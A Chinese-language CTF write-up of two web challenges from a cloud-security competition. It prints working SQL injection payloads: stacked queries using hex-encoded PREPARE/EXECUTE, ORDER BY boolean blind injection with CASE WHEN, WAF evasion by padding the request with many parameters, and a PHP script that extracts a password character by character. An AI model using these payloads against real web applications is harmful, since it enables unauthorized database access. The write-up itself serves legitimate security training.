这次跟着Venom的师傅们一起参加了国际数字经济博览会的线下赛,谢谢师傅们带躺到第三hhh,CTF解题赛的三道云安全的题目感觉还挺经典的,拿了其中一道Aliyun题的一血,另一道题快做出来的时候队里的师傅就做出来了Orz,Jdyun的全程自闭没有做出来也是很遗憾(最终在主办方放了两个hint后第一名的M01N战队做出了全场唯一解,师傅们太强了),故写下wp记录一下。
解题过程:
1.尝试了下单引号,发现爆错了,应该就是个注入
sql注入绕waf
2.经多次fuzz发现
3.查找了下mysql官方文档发现:用select into可以代替set绕过filter,其他的就是堆叠注入的老套路预编译绕过filter
最终的payload:
/index.php?username=a&username=a';select+0x73656C656374202A2066726F6D206163653234326636393462386537316261383165316232373935653531656639323163+into+@a;select+@a;prepare+execsql+from+@a;execute+execsql;--+&password=123;--+ HTTP/1.1
解题过程:
1.扫目录发现 /admin 返回的页面中有隐藏表单,后面根据表单猜测可能存在user表以及name和password字段,当然这是做到后面才想到出题人留这个页面的原因=。=
<html>
<head>
<title>施工中</title>
</head>
<body>
<h1>施工中,请3年后再来:)</h1>
<div style="display:none;">
<form action="/user" method="POST">
<p>name: <input type="text" name="name" /></p>
<p>passwd: <input type="text" name="password" /></p>
<input type="submit" value="Submit" />
</form>
</div>
</body>
</html>
2.抓包发现一个获取文章的接口,存在orderby和limit参数,尝试注入(if(1,1,2))返回'405 您访问的URL可能有风险',因此大概率也是道注入绕waf的题目
3.先判断是否是orderby注入
/api?orderby=date&limit=5
/api?orderby=date--+&limit=5
可以看到利用orderby后面的注释符我们成功使limit字段失效了,因此这里可以确定是一个orderby后的sql注入
4.经过fuzz发现几个比较难绕过的点
a.if被过滤了
b.from被过滤了
c.各种字符串相关的函数被过滤,但是漏了个lpad可以用
后面和师傅们讨论后,对于if被过滤我们可以用下面两种形式的payload绕过做bool盲注
#Yan表哥的payload
orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3
orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3
#我自己的payload
orderby=id|((select+abs(-5)=4)%2b1)--+&limit=3
orderby=id|((select+abs(-5)=5)%2b1)--+&limit=3
GET /api?orderby=(CASE+WHEN+(1=2)+THEN+id+ELSE+title+END)&limit=3 HTTP/1.1
Host: qcloud.xctf.org.cn:8099
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://qcloud.xctf.org.cn:8099/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
1=1
1=2
但是这里还是有个问题,跑flag的话flag在另一个表里,当前表column数为4且不存在flag的column,因此肯定是一定要用到from关键字的,一开始以为应该也是绕云waf,试了超长uri发现不行就感觉可能是有代码层绕过的奇技淫巧么,在感觉凉凉的时候,Yan表哥反手就是一个超多前置参数绕过云waf的from关键字还有,哦豁这下不仅仅是from关键字可以bypass,甚至连其他字符串函数也可以使用了,还是不够细心啊试了超长uri却没有试超多前置参数。
payload:
/api?a0=0&a1=1&a2=2&a3=3&a4=4....(此处省略n多类似参数)...&a0=1&a1=2...&orderby=(case+when+((substr((select+id+from+(user)+limit+0,1),1,1))='1')+THEN+id+ELSE+title+END)&limit=3
5.最后就是写盲注脚本跑flag,结合提示要我们获取admin的密码,还有步骤1里的表单:user表 name passwd字段,Yan表哥的exp写得比较好看就放Yan表哥的啦=。= exp.php
<?php
function inject($sql) {
$ret = false;
$req = curl_init("http://qcloud.xctf.org.cn:8099/api?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a10=1&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c1=1&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c2=2&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c3=3&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c4=4&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c5=5&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c6=6&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c7=7&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c8=8&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&c9=9&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d0=0&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d1=1&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d2=2&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d3=3&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d4=4&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d5=5&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d6=6&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d7=7&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d8=8&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&d9=9&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g0=0&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g1=1&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g2=2&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g3=3&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g4=4&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g5=5&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g6=6&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g7=7&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g8=8&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&g9=9&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b0=0&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b1=1&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b2=2&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b3=3&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b4=4&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b5=5&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b6=6&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b7=7&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b8=8&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&b9=9&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c0=0&c1=19&orderby=(CASE+WHEN+(${sql})+THEN+id+ELSE+title+END)&limit=3");
curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
curl_setopt($req, CURLOPT_HTTPHEADER, array("Accept: application/json, text/javascript, */*","X-Requested-With: XMLHttpRequest","User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","Referer: http://qcloud.xctf.org.cn:8099/","Connection: close","Accept-Encoding: gzip, deflate","Accept-Language: zh-CN,zh;q=0.9,en;q=0.8","Content-Type: application/x-www-form-urlencoded"));
$result = curl_exec($req);
if(curl_getinfo($req, CURLINFO_HTTP_CODE) == 200){
if (strstr($result, "Raspberry")) {
$ret = true;
}else{
$ret = false;
}
}else{
echo "Status Code:".curl_getinfo($req, CURLINFO_HTTP_CODE)."\n";
echo "Response body: ".$result."\n";
die();
}
curl_close($req);
return $ret;
}
$password = "flag{b9116b07";
$j = strlen($password)+1;
$letters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-}{~!@$%^&*()_";
while (1) {
for ($i=0; $i < strlen($letters); $i++) {
$s = substr($letters, $i,1);
$sql = "(substr((select+password+from+(user)+limit+0,1),${j},1))='$s'";
$res = inject($sql);
if ($res == true){
$password .= $s;
$j++;
break;
}
}
echo $password."\n";
}
// flag{b9116b07-0583-4ab7-abf7-4f25d0e8172d}
?>
6.这道题就结束了吗?还没有哈哈=。= 针对4里的from的过滤假如没有云waf层的通用bypass而是代码层的filter呢? 请教了下我无敌的@放师傅,看到下面这个payload涨姿势了,吹一波我放师傅=。=
select name,1e1from user;#试了下这个可以过from的检测